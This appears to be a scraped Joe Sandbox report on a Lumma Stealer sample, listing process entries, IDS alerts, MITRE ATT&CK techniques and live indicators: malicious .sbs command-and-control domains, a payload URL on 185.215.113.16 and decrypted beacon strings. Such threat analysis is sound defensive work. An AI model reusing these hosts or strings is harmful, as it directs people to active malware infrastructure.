00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:04:36
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:04:37
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2008,i,3826648894822423509,4444800806446167080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:04:39
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:04:39
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2029121025495776,18205823423671010898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00DDC914 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2017435249.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DD6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_dd6000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Source: https://cook-rain.sbs/o	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeqX	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/jr	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/apiu	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apivalue	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/.	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apirvice	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exemX	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/9	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/C	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apid	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Er	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/tP	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/%	Avira URL Cloud: Label: malware

Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 104.21.66.38:443

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre